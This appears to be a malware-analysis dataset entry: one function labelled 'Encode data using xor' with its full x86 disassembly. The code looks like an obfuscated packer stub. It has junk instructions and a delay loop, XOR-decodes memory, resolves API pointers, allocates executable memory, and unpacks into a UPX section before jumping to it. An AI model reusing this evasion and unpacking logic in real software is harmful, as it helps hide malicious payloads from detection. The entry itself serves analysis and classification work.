Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xafebd6ac
dec eax
and eax, edx
popal
sub eax, edx
mov edx, 0x85b71844
add edx, eax
mov edi, 0
mov ecx, esi
mov eax, 0x548ea2b8
sub eax, ebx
sub eax, 0x4c7c9ecf
mov edx, ecx
and eax, ebx
inc eax
mov eax, ebx
mov esi, edx
and eax, eax
and ebx, eax
add eax, eax
inc edi
sub ebx, eax
not ebx
cmp edi, 0x1002d8a
jne 0xa789c4
sub eax, ebx
sub eax, 0xeee03495
dec eax
mov eax, 0x37af93b1
not eax
mov edi, 0xa78796
sub edx, ecx
sub esi, 0x27db4089
sub ecx, 0x9194bb0a
mov ebx, 0xa7898a
add esi, esi
mov esi, 0x4f5ee9e4
inc edx
mov eax, dword [edi]
sub ecx, 1
add edx, 1
and eax, 0xff
mov edx, 0xe176461c
sub ecx, esi
xor dword [ebx], eax
sub edx, 0x57c874bd
or ecx, ecx
add ebx, 1
add esi, ecx
not esi
sub esi, edx
inc edi
sub ecx, 0x2edd7637
mov ecx, 0x261563d8
not esi
cmp ebx, entry0
jl 0xa78a23
or ecx, esi
add esi, 0x4b6bf2f3
and esi, ecx
mov esi, 0xb93775a0
sub esi, 0x21667de2
mov esi, edx
not edi
inc ebx
mov ecx, 0xa7898e
inc esi
dec edi
sub ebx, 0x8fa50934
mov ecx, dword [ecx]
sub edi, 1
dec ebx
mov ecx, dword [ecx]
sub edx, ebx
and edx, edx
push ecx
add ebx, 0x6e71913c
sub edx, 1
add esi, 0xcf92fd36
mov ecx, 0xa7898a
sub edx, edi
dec esi
not ebx
mov ecx, dword [ecx]
add ebx, edi
inc edi
not ebx
mov ecx, dword [ecx]
add esi, ebx
dec edx
push 0xa78992
inc edi
dec edx
call ecx
sub esi, 0x3e965814
sub ebx, 0x3a87a5d5
pop ecx
sub ebx, 0x1d48545d
add edi, 0xceb75bdb
push 0xa7899f
mov edi, ebx
mov edi, esi
sub esp, 4
mov dword [esp], eax
sub esi, 1
sub edi, 0x72168521
call ecx
sub edx, esi
dec esi
push 0x40
and edi, esi
mov esi, edx
sub esp, 4
mov dword [esp], 0x3000
not edi
dec edi
push 0x200001e7
inc ebx
and esi, esi
push 0
and edi, edi
sub edi, 0x28d39ff2
mov edx, ebx
call eax
sub edi, esi
or edx, edx
add eax, 0x20000139
inc esi
dec ebx
dec ebx
mov ecx, 0x5ac06c08
mov esi, edi
not edi
mov dword [eax], ecx
mov edx, esi
sub esi, edx
mov ecx, dword [eax]
add ebx, esi
mov ebx, 0x939f1e47
cmp ecx, 0x5ac06c08
je 0xa78b72
mov edx, 0
mov byte [edx], al
and edi, edi
sub esi, 0xb84f930d
add esi, 0xc581fa94
mov edx, 0xce5cefd1
sub edi, esi
mov esi, 0xb882d734
and edx, edx
mov edx, eax
not eax
mov edi, section.UPX1
add edx, eax
mov edx, 0x5fc95733
mov esi, 0xa78795
add edx, 0xb0797376
sub eax, 0xc7ddd5a0
inc eax
mov ecx, 0
add eax, 0x96bbea29
and edx, eax
and edx, edx
mov ebx, 0xa78796
not eax
dec edx
add eax, edx
lea ebx, [ebx + ecx]
not eax
sub edx, 0xe14969bb
mov ebx, dword [ebx]
or edx, edx
and eax, eax
or edx, edx
and ebx, 0xff
and edx, eax
mov edx, eax
inc ecx
sub edx, 0x9223675b
dec edx
and eax, edx
cmp ecx, 0x1f4
jne 0xa78bfd
mov ecx, 0
add eax, 0x78aaf7c9
mov edx, eax
mov eax, edx
mov eax, 0x11a31bd8
mov eax, 0xf4a63680
xor dword [edi], ebx
not edx
or edx, eax
sub edx, eax
add edi, 2
sub edx, eax
add eax, 0x24cc2d6
cmp edi, esi
jl 0xa78bbf
inc edx
add eax, 1
not eax
add edx, 0x1879c3b7
sub edx, eax
mov ebx, section.UPX1
mov ecx, esi
not ecx
mov eax, section.UPX1
and ecx, esi
and esi, esi
mov edi, 0xa78795
add esi, ecx
and esi, esi
or ecx, esi
mov edx, 0
mov ecx, 0x88f313e6
and ecx, ecx
mov dl, byte [eax]
mov esi, 0x1a55f15c
sub esi, 0x359ef2e5
mov byte [ebx], dl
add ecx, 0x1016e68a
or esi, ecx
inc ebx
mov ecx, 0x37343277
or ecx, esi
add ecx, 0xe9748161
add eax, 2
not esi
mov ecx, 0xea07ad5b
add esi, ecx
cmp eax, edi
jle 0xa78c69
add esi, 0xf1702000
or esi, esi
add esi, 0x3c45a23b
and eax, eax
or edx, edx
push 0x8dc6a0
sub eax, 0x9c797f75
not eax
ret